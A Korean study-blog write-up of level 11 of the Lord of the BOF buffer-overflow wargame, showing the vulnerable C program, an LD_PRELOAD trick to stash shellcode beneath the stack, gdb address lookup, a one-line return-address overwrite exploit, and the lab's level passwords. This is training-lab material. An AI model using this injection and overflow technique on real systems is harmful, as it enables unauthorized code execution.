일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 홍대 카페 장쌤
- 비동기배열처리방법
- 화이트 해커를 위한 웹 해킹의 기술
- graphql mutation error
- 지보싶 신촌점
- useMutation error
- graphql with reactnative
- 신촌 소문난집
- 예쁜술집 예술
- 비동기배열
- promise메서드
- apolloclient
- 홍대 토라비
- 앙버터마카롱
- typescript
- 운정 소바동
- graphql 400
- 금별맥주
- 고르드
- graphql with RN
- 토라비
- promise처리
- 잠실새내
- graphql react native
- 잠실새내 도그존
- 도그존
- 홍대 예술
- 화이트해커를 위한 웹 해킹의 기술
- graphql
- apollo react native
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
LOB 11번 풀이 (skeleton) 본문
id: skeleton
pw: shellcoder
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
- 환경 변수 사용 가능
- argv[1]의 48번째 문자는 '\xbf' 여야 한다.
- buffer 출력 후 buffer를 초기화 한다.
- buffer+48 부터 0xbfffffff 까지 0으로 초기화 한다.
일반적으로 프로그램을 실행할 때, 내부 함수들이 아닌 다른 임의 함수를 추가해서 사용하려고 할 때 해당 함수를 메모리상에 로드해야한다.
이때, 프로그램 동작시에 해당 함수가 잘 실행되려면 사전에 메모리에 로드해야 한다.
리눅스에서는 이처럼 사전에 메모리에 함수를 로드하기 위한 'LD_PRELOAD'라는 환경변수가 존재한다.
LD_PRELOAD 환경변수에 파일을 등록하면 해당 파일이 프로그램이 메모리 로드 되기 전에 먼저 메모리에 로드된다.
만약 LD_PRELOAD 환경변수에 특정 파일을 등록하면 해당 파일 이름과 코드가 프로그램의 스택 아래쪽에 등록이 된다.
이때, 코드에서 buffer부터 ret를 제외하고 0xbfffffff 까지를 0으로 초기화하는 것은 LD_PRELOAD에 영향을 주지 않는다.
따라서 LD_PRELOAD에 a.c라는 파일을 쉘 코드 이름으로 등록하자.
먼저 a.c 라는 내용이 없는 빈 파일을 만들어주자.
그리고 a.c 파일을 쉘코드 이름으로 컴파일해주자. (앞선 문제들과 마찬가지로 \x2f가 들어가 있지 않은 코드를 사용해야 한다.)
그리고 LD_PRELOAD 환경변수에 해당 파일(쉘 코드 이름으로 된 빈 파일)을 등록해주자.
그리고 해당 파일 위치를 찾기 위해 gdb를 켜서 확인해보았다.
0xbffff580 부터 \x90 이 보이고, 이 이후로는 쉘 코드가 있다. 따라서 ret 주소에 넉넉하게 0xbffff5a0 을 넣어주면 쉘 코드가 실행될 것이다.
./golem `python -c 'print "A"*44+"\xa0\xf5\xff\xbf"'`
golem권한으로 쉘이 실행되었다.
golem의 pw: "cup of coffee"
'wargame 풀이 > LOB' 카테고리의 다른 글
LOB 13번 풀이 (darkknight) (0) | 2020.12.30 |
---|---|
LOB 12번 풀이 (golem) (0) | 2020.12.30 |
LOB 10번 풀이 (vampire) (0) | 2020.11.22 |
LOB 9번 풀이 (troll) (0) | 2020.11.21 |
LOB 8번 풀이 (orge) (0) | 2020.11.19 |